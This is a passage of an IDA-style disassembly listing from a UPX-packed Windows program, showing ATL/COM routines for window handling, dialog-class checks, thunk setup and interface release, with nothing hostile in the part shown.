		mov	eax, [ebp+3ECh+var_40C]
		or	[ebp+3ECh+var_3F0], 0FFFFFFFFh
		push	ebx
		mov	[eax], edi
		call	dword_41D25C


loc_4017DE:				; CODE XREF: sub_4016D2+86j
		mov	eax, 37Ah
		cmp	[ebp+3ECh+var_400], ax
		jz	short loc_401802
		inc	eax
		cmp	[ebp+3ECh+var_400], ax
		jz	short loc_401802
		mov	eax, 376h
		cmp	[ebp+3ECh+var_400], ax
		jz	short loc_401842
		mov	eax, 80004005h
		jmp	short loc_401844
; ---------------------------------------------------------------------------


loc_401802:				; CODE XREF: sub_4016D2+115j
					; sub_4016D2+11Cj
		mov	eax, [esi]
		lea	ecx, [ebp+3ECh+var_404]
		push	ecx
		push	4
		lea	ecx, [ebp+3ECh+var_3FC]
		push	ecx
		push	esi
		call	dword ptr [eax+0Ch]
		cmp	eax, ebx
		jl	short loc_401844
		sub	[ebp+3ECh+var_3FC], 4
		jz	short loc_401842
		mov	edi, 3E8h


loc_401821:				; CODE XREF: sub_4016D2+16Ej
		mov	eax, [ebp+3ECh+var_3FC]
		cmp	[ebp+3ECh+var_3FC], edi
		jb	short loc_40182B
		mov	eax, edi


loc_40182B:				; CODE XREF: sub_4016D2+155j
		mov	ecx, [esi]
		lea	edx, [ebp+3ECh+var_404]
		push	edx
		push	eax
		lea	eax, [ebp+3ECh+var_3EC]
		push	eax
		push	esi
		call	dword ptr [ecx+0Ch]
		mov	eax, [ebp+3ECh+var_404]
		sub	[ebp+3ECh+var_3FC], eax
		jnz	short loc_401821


loc_401842:				; CODE XREF: sub_4016D2+35j
					; sub_4016D2+127j ...
		xor	eax, eax


loc_401844:				; CODE XREF: sub_4016D2+4Dj
					; sub_4016D2+65j ...
		mov	ecx, [ebp+3ECh+var_3F8]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+3ECh+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		add	ebp, 3ECh
		leave
		retn
sub_4016D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_401867	proc near		; CODE XREF: sub_403C55+68p
					; sub_417C15+1Dp

arg_0		= dword	ptr  4

		mov	ecx, [eax+4]
		mov	edx, [eax]
		push	esi
		mov	esi, [eax+0Ch]
		mov	eax, [eax+8]
		push	1
		sub	esi, ecx
		push	esi
		sub	eax, edx
		push	eax
		mov	eax, [esp+10h+arg_0]
		push	ecx
		push	edx
		push	dword ptr [eax]
		call	dword_41D270	; MoveWindow
		pop	esi
		retn	4
sub_401867	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40188D	proc near		; CODE XREF: UPX0:00402C2Cp

var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_41D33C	; GetParent
		push	8
		lea	ecx, [ebp+var_14]
		push	ecx
		push	eax
		call	dword_41D2C0	; GetClassNameW
		test	eax, eax
		jz	short loc_4018CD
		push	offset a32770	; "#32770"
		lea	eax, [ebp+var_14]
		push	eax
		call	dword_41D1F8	; lstrcmpW
		neg	eax
		sbb	eax, eax
		inc	eax


loc_4018CD:				; CODE XREF: sub_40188D+2Aj
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		leave
		retn	4
sub_40188D	endp


; =============== S U B	R O U T	I N E =======================================



sub_4018DB	proc near		; CODE XREF: sub_404477+Cp
					; sub_406781+73p ...

arg_0		= dword	ptr  4

		cmp	dword ptr [edi+0Ch], 0
		push	esi
		mov	esi, eax
		jnz	short loc_4018F0
		call	sub_40A906
		mov	[edi+0Ch], eax
		test	eax, eax
		jz	short loc_40191F


loc_4018F0:				; CODE XREF: sub_4018DB+7j
		mov	eax, [edi+0Ch]
		mov	ecx, [esp+4+arg_0]
		sub	esi, eax
		push	0Dh
		sub	esi, 0Dh
		push	eax
		mov	dword ptr [eax], 42444C7h
		mov	[eax+4], ecx
		mov	byte ptr [eax+8], 0E9h
		mov	[eax+9], esi
		call	dword_41D214	; GetCurrentProcess
		push	eax
		call	dword_41D1E0	; FlushInstructionCache
		xor	eax, eax
		inc	eax


loc_40191F:				; CODE XREF: sub_4018DB+13j
		pop	esi
		retn	4
sub_4018DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_401923	proc near		; DATA XREF: sub_4019F2+70o
		mov	eax, ecx
		and	dword ptr [eax], 0
		and	dword ptr [eax+4], 0
		or	dword ptr [eax+8], 0FFFFFFFFh
		retn
sub_401923	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_401931	proc near		; CODE XREF: sub_404E64+10p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		xor	esi, esi
		xor	eax, eax
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_42DEB0, esi
		jz	short loc_40194F
		cmp	dword_42DEB8, esi
		jnz	short loc_401957


loc_40194F:				; CODE XREF: sub_401931+14j
		push	[ebp+arg_8]
		call	sub_401BB2


loc_401957:				; CODE XREF: sub_401931+1Cj
		cmp	dword_42DEB0, esi
		jz	short loc_4019DC
		push	ebx
		cmp	dword_42DEB8, esi
		jz	short loc_4019C9
		cmp	[ebp+arg_4], 1
		jnz	short loc_4019C9
		push	dword ptr [edi]
		call	dword_41D1F0	; lstrlenW
		mov	edx, dword_42DEBC
		dec	edx
		cmp	edx, esi
		mov	[ebp+var_8], eax
		jl	short loc_4019C9
		mov	eax, dword_42DEB8
		mov	ecx, edx
		imul	ecx, 0Ch
		mov	[ebp+arg_8], ecx
		lea	ecx, [ecx+eax+4]
		mov	[ebp+var_4], ecx


loc_401998:				; CODE XREF: sub_401931+96j
		mov	esi, [ebp+var_8]
		cmp	esi, [ecx]
		jnz	short loc_4019B7
		mov	ecx, [ebp+arg_8]
		mov	edi, [edi]
		lea	esi, [ecx+eax]
		mov	ecx, [esi+4]
		mov	esi, [esi]
		add	ecx, ecx
		xor	ebx, ebx
		repe cmpsb
		jz	short loc_4019E2
		mov	edi, [ebp+arg_0]


loc_4019B7:				; CODE XREF: sub_401931+6Cj
		mov	ecx, [ebp+var_4]
		sub	[ebp+arg_8], 0Ch
		dec	edx
		sub	ecx, 0Ch
		mov	[ebp+var_4], ecx
		test	edx, edx
		jge	short loc_401998


loc_4019C9:				; CODE XREF: sub_401931+35j
					; sub_401931+3Bj ...
		push	[ebp+arg_C]
		mov	eax, dword_42DEB0
		push	[ebp+arg_4]
		mov	ecx, [eax]
		push	edi
		push	eax
		call	dword ptr [ecx+28h]


loc_4019DB:				; CODE XREF: sub_401931+BFj
		pop	ebx


loc_4019DC:				; CODE XREF: sub_401931+2Cj
		pop	edi
		pop	esi
		leave
		retn	10h
; ---------------------------------------------------------------------------


loc_4019E2:				; CODE XREF: sub_401931+81j
		mov	ecx, [ebp+arg_C]
		imul	edx, 0Ch
		mov	eax, [edx+eax+8]
		mov	[ecx], eax
		xor	eax, eax
		jmp	short loc_4019DB
sub_401931	endp


; =============== S U B	R O U T	I N E =======================================



sub_4019F2	proc near		; CODE XREF: sub_401BB2+1D0p
		push	18h
		mov	eax, offset loc_41C209
		call	sub_40C4A0
		mov	ebx, [ebp+8]
		mov	eax, [ebx]
		lea	ecx, [ebp-24h]
		push	ecx
		push	ebx
		call	dword ptr [eax+0Ch]
		xor	ecx, ecx
		cmp	eax, ecx
		jl	loc_401B5B
		mov	eax, [ebp-24h]
		movzx	eax, word ptr [eax+2Ch]
		mov	[ebp-1Ch], ecx
		mov	dword_42DEBC, eax
		mov	dword_42DEB8, ecx
		cmp	eax, ecx
		jz	short loc_401AAD
		mov	edi, eax
		push	0Ch
		pop	edx
		mul	edx
		mov	[ebp-4], ecx
		seto	cl
		neg	ecx
		or	ecx, eax
		xor	eax, eax
		add	ecx, 4
		setb	al
		neg	eax
		or	eax, ecx
		push	eax
		call	sub_40AC06
		pop	ecx
		mov	[ebp-20h], eax
		mov	byte ptr [ebp-4], 1
		test	eax, eax
		jz	short loc_401A77
		push	offset loc_401B65
		push	offset sub_401923
		push	edi
		lea	esi, [eax+4]
		push	0Ch
		push	esi
		mov	[eax], edi
		call	sub_40B306
		jmp	short loc_401A79
; ---------------------------------------------------------------------------


loc_401A77:				; CODE XREF: sub_4019F2+69j
		xor	esi, esi


loc_401A79:				; CODE XREF: sub_4019F2+83j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	[ebp-1Ch], esi
		jmp	short loc_401A8F
; ---------------------------------------------------------------------------


loc_401A82:				; DATA XREF: UPX0:00427324o
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	eax, offset loc_401A8C
		retn
; ---------------------------------------------------------------------------


loc_401A8C:				; DATA XREF: sub_4019F2+94o
		mov	ebx, [ebp+8]


loc_401A8F:				; CODE XREF: sub_4019F2+8Ej
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_401AA8
		push	dword ptr [ebp-24h]
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4Ch]
		mov	eax, 8007000Eh
		jmp	loc_401B5D
; ---------------------------------------------------------------------------


loc_401AA8:				; CODE XREF: sub_4019F2+A1j
		mov	eax, dword_42DEBC


loc_401AAD:				; CODE XREF: sub_4019F2+3Aj
		and	dword ptr [ebp-18h], 0
		test	eax, eax
		jle	loc_401B4A
		mov	esi, [ebp-1Ch]
		mov	ebx, dword_41D25C


loc_401AC2:				; CODE XREF: sub_4019F2+14Fj
		mov	edi, [ebp+8]
		mov	eax, [edi]
		lea	ecx, [ebp-20h]
		push	ecx
		push	dword ptr [ebp-18h]
		push	edi
		call	dword ptr [eax+14h]
		test	eax, eax
		jl	short loc_401B32
		xor	eax, eax
		mov	[ebp-14h], eax
		push	eax
		push	eax
		push	eax
		mov	dword ptr [ebp-4], 3
		mov	ecx, [edi]
		lea	eax, [ebp-14h]
		push	eax
		mov	eax, [ebp-20h]
		push	dword ptr [eax]
		push	edi
		call	dword ptr [ecx+30h]
		test	eax, eax
		jl	short loc_401B20
		mov	edi, [ebp-14h]
		mov	eax, [esi]
		and	dword ptr [ebp-14h], 0
		cmp	eax, edi
		jz	short loc_401B0A
		push	eax
		call	ebx ; dword_41D25C
		mov	[esi], edi


loc_401B0A:				; CODE XREF: sub_4019F2+111j
		push	dword ptr [esi]
		call	dword_41D238
		mov	edi, [ebp+8]
		mov	[esi+4], eax
		mov	eax, [ebp-20h]
		mov	eax, [eax]
		mov	[esi+8], eax


loc_401B20:				; CODE XREF: sub_4019F2+104j
		push	dword ptr [ebp-20h]
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+50h]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	dword ptr [ebp-14h]
		call	ebx ; dword_41D25C


loc_401B32:				; CODE XREF: sub_4019F2+E2j
		inc	dword ptr [ebp-18h]
		mov	eax, [ebp-18h]
		add	esi, 0Ch
		cmp	eax, dword_42DEBC
		jl	loc_401AC2
		mov	ebx, [ebp+8]


loc_401B4A:				; CODE XREF: sub_4019F2+C1j
		mov	eax, [ebp-1Ch]
		push	dword ptr [ebp-24h]
		mov	dword_42DEB8, eax
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4Ch]


loc_401B5B:				; CODE XREF: sub_4019F2+1Dj
		xor	eax, eax


loc_401B5D:				; CODE XREF: sub_4019F2+B1j
		call	sub_40C50C
		retn	4
; ---------------------------------------------------------------------------


loc_401B65:				; DATA XREF: sub_4019F2+6Bo
					; sub_401B6E+22o
		push	dword ptr [ecx]
		call	dword_41D25C
		retn
sub_4019F2	endp


; =============== S U B	R O U T	I N E =======================================



sub_401B6E	proc near		; DATA XREF: sub_401652+49o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_401BAE
		mov	eax, [esi+0Ch]
		test	eax, eax
		jz	short loc_401B84
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401B84:				; CODE XREF: sub_401B6E+Ej
		mov	eax, [esi+14h]
		and	dword ptr [esi+0Ch], 0
		test	eax, eax
		jz	short loc_401BAA
		push	edi
		push	offset loc_401B65
		lea	edi, [eax-4]
		push	dword ptr [edi]
		push	0Ch
		push	eax
		call	sub_40B0BB
		push	edi
		call	sub_40B36B
		pop	ecx
		pop	edi


loc_401BAA:				; CODE XREF: sub_401B6E+1Fj
		and	dword ptr [esi+14h], 0


loc_401BAE:				; CODE XREF: sub_401B6E+7j
		pop	esi
		retn	4
sub_401B6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=20Ch


sub_401BB2	proc near		; CODE XREF: sub_401931+21p
					; sub_404E23+1Ep ...

var_230		= dword	ptr -230h
var_22C		= byte ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_4		= dword	ptr -4

		push	ebp
		sub	esp, 208h
		lea	ebp, [esp-4]
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+20Ch+var_4], eax
		push	18h
		mov	eax, offset loc_41C315
		call	sub_40C46D
		xor	ebx, ebx
		cmp	dword_42DEB0, ebx
		jz	short loc_401BEF
		cmp	dword_42DEB8, ebx
		jz	short loc_401BEF
		xor	eax, eax
		jmp	loc_401D93
; ---------------------------------------------------------------------------


loc_401BEF:				; CODE XREF: sub_401BB2+2Cj
					; sub_401BB2+34j
		mov	eax, dword_42EE90
		add	eax, 10h
		mov	[ebp+20Ch+var_230], eax
		push	eax
		mov	[ebp+20Ch+var_210], ebx
		call	dword_41D1CC	; RtlEnterCriticalSection
		mov	[ebp+20Ch+var_22C], 1
		mov	[ebp+20Ch+var_21C], 80004005h
		cmp	dword_42DEB0, ebx
		jnz	loc_401D69
		mov	esi, off_42DEA8
		mov	eax, esi
		mov	ecx, offset dword_42EE94
		mov	[ebp+20Ch+var_228], ebx
		call	sub_40101B
		mov	cx, word_42DEAC
		test	eax, eax
		mov	ax, word_42DEAE
		jz	short loc_401C8E
		mov	edx, 0FFFFh
		mov	edi, edx
		cmp	cx, di
		jnz	short loc_401C8E
		cmp	ax, dx
		jnz	short loc_401C8E
		mov	esi, 104h
		push	esi
		lea	eax, [ebp+20Ch+var_20C]
		push	eax
		push	dword_42E350
		call	dword_41D1FC	; GetModuleFileNameW
		cmp	eax, ebx
		jz	loc_401D6D
		cmp	eax, esi
		jz	loc_401D6D
		call	off_42A000
		lea	eax, [ebp+20Ch+var_228]
		push	eax
		lea	eax, [ebp+20Ch+var_20C]
		push	eax
		call	dword_41D240
		jmp	short loc_401CA7
; ---------------------------------------------------------------------------


loc_401C8E:				; CODE XREF: sub_401BB2+8Dj
					; sub_401BB2+99j ...
		lea	edx, [ebp+20Ch+var_228]
		push	edx
		push	dword ptr [ebp+214h]
		movzx	eax, ax
		push	eax
		movzx	eax, cx
		push	eax
		push	esi
		call	dword_41D230


loc_401CA7:				; CODE XREF: sub_401BB2+DAj
		mov	esi, eax
		cmp	esi, ebx
		jl	loc_401D70
		mov	[ebp+20Ch+var_220], ebx
		lea	edx, [ebp+20Ch+var_220]
		mov	byte ptr [ebp+20Ch+var_210], 1
		mov	eax, [ebp+20Ch+var_228]
		mov	ecx, [eax]
		push	edx
		push	off_42DEA4
		push	eax
		call	dword ptr [ecx+18h]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_401D4E
		mov	eax, [ebp+20Ch+var_220]
		mov	[ebp+20Ch+var_224], eax
		cmp	eax, ebx
		jz	short loc_401CE4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]
		mov	eax, [ebp+20Ch+var_220]


loc_401CE4:				; CODE XREF: sub_401BB2+127j
		mov	[ebp+20Ch+var_21C], ebx
		lea	edx, [ebp+20Ch+var_21C]
		push	edx
		push	offset dword_4243A4
		mov	byte ptr [ebp+20Ch+var_210], 3
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_401D0B
		lea	eax, [ebp+20Ch+var_21C]
		push	eax
		lea	ebx, [ebp+20Ch+var_224]
		call	sub_4066EE
		xor	ebx, ebx


loc_401D0B:				; CODE XREF: sub_401BB2+149j
		mov	eax, [ebp+20Ch+var_224]
		mov	dword_42DEB0, eax
		mov	eax, dword_42EE90
		mov	[ebp+20Ch+var_224], ebx
		cmp	eax, ebx
		jz	short loc_401D24
		add	eax, 4
		jmp	short loc_401D26
; ---------------------------------------------------------------------------


loc_401D24:				; CODE XREF: sub_401BB2+16Bj
		xor	eax, eax


loc_401D26:				; CODE XREF: sub_401BB2+170j
		push	eax
		call	sub_401652
		mov	byte ptr [ebp+20Ch+var_210], 2
		mov	eax, [ebp+20Ch+var_21C]
		cmp	eax, ebx
		jz	short loc_401D3D
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401D3D:				; CODE XREF: sub_401BB2+183j
		mov	byte ptr [ebp+20Ch+var_210], 1
		mov	eax, [ebp+20Ch+var_224]
		cmp	eax, ebx
		jz	short loc_401D4E
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401D4E:				; CODE XREF: sub_401BB2+11Dj
					; sub_401BB2+194j
		mov	eax, [ebp+20Ch+var_228]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		mov	byte ptr [ebp+20Ch+var_210], bl
		mov	eax, [ebp+20Ch+var_220]
		cmp	eax, ebx
		jz	short loc_401D70
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		jmp	short loc_401D70
; ---------------------------------------------------------------------------


loc_401D69:				; CODE XREF: sub_401BB2+63j
		xor	esi, esi
		jmp	short loc_401D70
; ---------------------------------------------------------------------------


loc_401D6D:				; CODE XREF: sub_401BB2+B8j
					; sub_401BB2+C0j
		mov	esi, [ebp+20Ch+var_21C]


loc_401D70:				; CODE XREF: sub_401BB2+F9j
					; sub_401BB2+1ADj ...
		mov	eax, dword_42DEB0
		cmp	eax, ebx
		jz	short loc_401D89
		cmp	dword_42DEB8, ebx
		jnz	short loc_401D89
		push	eax
		call	sub_4019F2
		mov	esi, eax


loc_401D89:				; CODE XREF: sub_401BB2+1C5j
					; sub_401BB2+1CDj
		lea	ecx, [ebp+20Ch+var_230]
		call	sub_4066D7
		mov	eax, esi


loc_401D93:				; CODE XREF: sub_401BB2+38j
		mov	ecx, [ebp+20Ch+var_218]
		mov	large fs:0, ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [ebp+20Ch+var_4]
		xor	ecx, ebp
		call	sub_40AC1C
		add	ebp, 20Ch
		leave
		retn	4
sub_401BB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_401DB8	proc near		; DATA XREF: UPX0:off_423F04o
					; UPX0:off_423F5Co
		xor	eax, eax
		retn	18h
sub_401DB8	endp


; =============== S U B	R O U T	I N E =======================================



sub_401DBD	proc near		; DATA XREF: UPX0:00423F28o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		xor	ecx, ecx
		push	esi
		push	edi
		cmp	ebx, ecx
		jnz	short loc_401DD1
		mov	eax, 80004003h
		jmp	short loc_401DF3
; ---------------------------------------------------------------------------


loc_401DD1:				; CODE XREF: sub_401DBD+Bj
		mov	edi, [esp+0Ch+arg_0]
		cmp	[edi-20h], ecx
		jnz	short loc_401DEC
		push	ecx
		mov	eax, esp
		mov	[eax], ecx
		push	ecx
		mov	eax, esp
		lea	esi, [edi-24h]
		mov	[eax], ecx
		call	sub_404D0B


loc_401DEC:				; CODE XREF: sub_401DBD+1Bj
		mov	eax, [edi-20h]
		mov	[ebx], eax
		xor	eax, eax


loc_401DF3:				; CODE XREF: sub_401DBD+12j
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_401DBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_401DF9	proc near		; DATA XREF: UPX0:00423F34o
					; UPX0:00423F88o
		mov	eax, 800401A1h
		retn	8
sub_401DF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E01	proc near		; DATA XREF: UPX0:00423F40o
		xor	eax, eax
		retn	0Ch
sub_401E01	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E06	proc near		; DATA XREF: UPX0:00423F44o
		xor	eax, eax
		retn	10h
sub_401E06	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E0B	proc near		; DATA XREF: UPX0:00423F54o
					; UPX0:00424104o
		xor	eax, eax
		inc	eax
		retn	0Ch
sub_401E0B	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E11	proc near		; DATA XREF: UPX0:00423F7Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		xor	ecx, ecx
		cmp	[edi-20h], ecx
		jnz	short loc_401E30
		push	ecx
		mov	eax, esp
		mov	[eax], ecx
		push	ecx
		mov	eax, esp
		lea	esi, [edi-24h]
		mov	[eax], ecx
		call	sub_404D5C


loc_401E30:				; CODE XREF: sub_401E11+Bj
		mov	eax, [edi-20h]
		mov	ecx, [esp+8+arg_4]
		pop	edi
		mov	[ecx], eax
		xor	eax, eax
		pop	esi
		retn	8
sub_401E11	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E40	proc near		; DATA XREF: UPX0:00423F2Co
					; UPX0:00423F30o ...
		xor	eax, eax
		retn	8
sub_401E40	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E45	proc near		; DATA XREF: UPX0:00423F3Co
					; UPX0:00423F90o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		add	esi, 24h
		cmp	[esi], edi
		jz	short loc_401E5B
		call	sub_4011B4


loc_401E5B:				; CODE XREF: sub_401E45+Fj
		pop	edi
		xor	eax, eax
		pop	esi
		retn	0Ch
sub_401E45	endp


; =============== S U B	R O U T	I N E =======================================



sub_401E62	proc near		; CODE XREF: sub_404EC4+42p
					; sub_404F2C+42p
		push	0
		mov	eax, offset loc_41C568
		call	sub_40C46D
		mov	esi, [ebp+8]
		and	dword ptr [ebp-4], 0
		mov	eax, [esi+48h]
		test	eax, eax
		jz	short loc_401E82
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401E82:				; CODE XREF: sub_401E62+18j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_401E8F
		push	eax
		call	sub_40A859


loc_401E8F:				; CODE XREF: sub_401E62+25j
		lea	eax, [esi+28h]
		call	sub_404C88
		call	sub_40C50C
		retn	4
sub_401E62	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_401E9F	proc near		; CODE XREF: sub_4057F4+1Cp
		mov	eax, dword_41D278
		push	edi
		xor	edi, edi
		mov	[esi+50h], edi
		mov	[esi+4], edi
		mov	[esi+14h], edi
		mov	[esi+20h], eax
		mov	[esi+18h], edi
		mov	[esi+1Ch], edi
		mov	[esi+3Ch], edi
		mov	[esi+54h], edi
		mov	[esi+60h], edi
		mov	[esi+64h], edi
		mov	[esi+68h], edi
		mov	[esi+6Ch], edi
		mov	[esi+70h], edi
		mov	[esi+74h], edi
		mov	[esi+78h], edi
		mov	[esi+7Ch], edi
		mov	[esi+0D8h], edi
		mov	[esi+0DCh], edi
		mov	[esi+0E8h], edi
		mov	eax, [esi+0C8h]
		and	dword ptr [esi+98h], 0FFFFFFC0h
		and	eax, 0FFFFFFFBh
		or	eax, 3
		push	8
		mov	[esi+0C8h], eax
		mov	[esi+0CCh], edi
		call	dword_41D2A8	; GetSysColor
		and	dword ptr [esi+98h], 0FFFFFFBFh
		mov	[esi+0D0h], eax
		mov	eax, [esi+0C8h]
		and	eax, 0FFFFFFAFh
		or	eax, 28h
		mov	[esi+0E4h], edi
		mov	[esi+0C8h], eax
		mov	[esi+58h], edi
		mov	[esi+0C4h], edi
		mov	dword ptr [esi+0D4h], 400h
		mov	dword ptr [esi+94h], 0CDCDCDCDh
		mov	dword ptr [esi+0E0h], 4
		mov	byte ptr [esi+5Ch], 1
		mov	eax, esi
		pop	edi
		retn
sub_401E9F	endp


; =============== S U B	R O U T	I N E =======================================



sub_401F64	proc near		; CODE XREF: sub_40587D+3Bp
					; UPX0:loc_405990j ...
		push	esi
		mov	esi, eax
		push	dword ptr [esi+0E8h]
		call	dword_41D25C
		mov	eax, [esi+0DCh]
		test	eax, eax
		jz	short loc_401F83
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401F83:				; CODE XREF: sub_401F64+17j
		mov	eax, [esi+0D8h]
		test	eax, eax
		jz	short loc_401F93
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401F93:				; CODE XREF: sub_401F64+27j
		mov	eax, [esi+7Ch]
		test	eax, eax
		jz	short loc_401FA0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401FA0:				; CODE XREF: sub_401F64+34j
		mov	eax, [esi+78h]
		test	eax, eax
		jz	short loc_401FAD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401FAD:				; CODE XREF: sub_401F64+41j
		mov	eax, [esi+74h]
		test	eax, eax
		jz	short loc_401FBA
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401FBA:				; CODE XREF: sub_401F64+4Ej
		mov	eax, [esi+70h]
		test	eax, eax
		jz	short loc_401FC7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401FC7:				; CODE XREF: sub_401F64+5Bj
		mov	eax, [esi+6Ch]
		test	eax, eax
		jz	short loc_401FD4
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401FD4:				; CODE XREF: sub_401F64+68j
		mov	eax, [esi+68h]
		test	eax, eax
		jz	short loc_401FE1
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401FE1:				; CODE XREF: sub_401F64+75j
		mov	eax, [esi+64h]
		test	eax, eax
		jz	short loc_401FEE
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401FEE:				; CODE XREF: sub_401F64+82j
		mov	eax, [esi+60h]
		test	eax, eax
		jz	short loc_401FFB
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_401FFB:				; CODE XREF: sub_401F64+8Fj
		mov	eax, [esi+54h]
		test	eax, eax
		jz	short loc_402008
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_402008:				; CODE XREF: sub_401F64+9Cj
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_402015
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_402015:				; CODE XREF: sub_401F64+A9j
		mov	esi, [esi+14h]
		test	esi, esi
		jz	short loc_402022
		push	esi
		call	sub_40A859


loc_402022:				; CODE XREF: sub_401F64+B6j
		pop	esi
		retn
sub_401F64	endp


; =============== S U B	R O U T	I N E =======================================



sub_402024	proc near		; DATA XREF: UPX0:00424004o
		mov	eax, [ecx]
		call	dword ptr [eax+10h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		retn	4
sub_402024	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_402032	proc near		; DATA XREF: UPX0:off_423FF8o

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		xor	ecx, ecx
		cmp	[ebp+arg_14], ecx
		jnz	loc_40245C
		mov	eax, [ebp+arg_4]
		cmp	eax, 14h
		jnz	short loc_402073
		xor	esi, esi
		inc	esi
		mov	eax, esi
		cmp	[edi+70h], ecx
		jnz	short loc_40205F
		xor	eax, eax


loc_40205F:				; CODE XREF: sub_402032+29j
		mov	ebx, [ebp+arg_10]
		mov	[ebx], esi
		cmp	eax, ecx
		jz	loc_4020F1


loc_40206C:				; CODE XREF: sub_402032+161j
					; sub_402032+1B1j ...
		mov	eax, esi
		jmp	loc_40245E
; ---------------------------------------------------------------------------


loc_402073:				; CODE XREF: sub_402032+1Fj
		cmp	eax, 0Fh
		jnz	short loc_4020A4
		lea	eax, [esp+18h+var_C]
		push	eax
		mov	esi, edi
		mov	[esp+1Ch+var_C], 1
		call	sub_402874


loc_40208C:				; CODE XREF: sub_402032+8Ej
		cmp	[esp+18h+var_C], 0
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		jz	loc_40223D


loc_40209C:				; CODE XREF: sub_402032+B7j
					; sub_402032+3D8j
		xor	eax, eax
		inc	eax
		jmp	loc_40245E
; ---------------------------------------------------------------------------


loc_4020A4:				; CODE XREF: sub_402032+44j
		cmp	eax, 5
		jnz	short loc_4020C2
		mov	ecx, [ebp+arg_C]
		lea	eax, [esp+18h+var_C]
		push	eax
		mov	ebx, edi
		mov	[esp+1Ch+var_C], 1
		call	sub_402768
		jmp	short loc_40208C
; ---------------------------------------------------------------------------


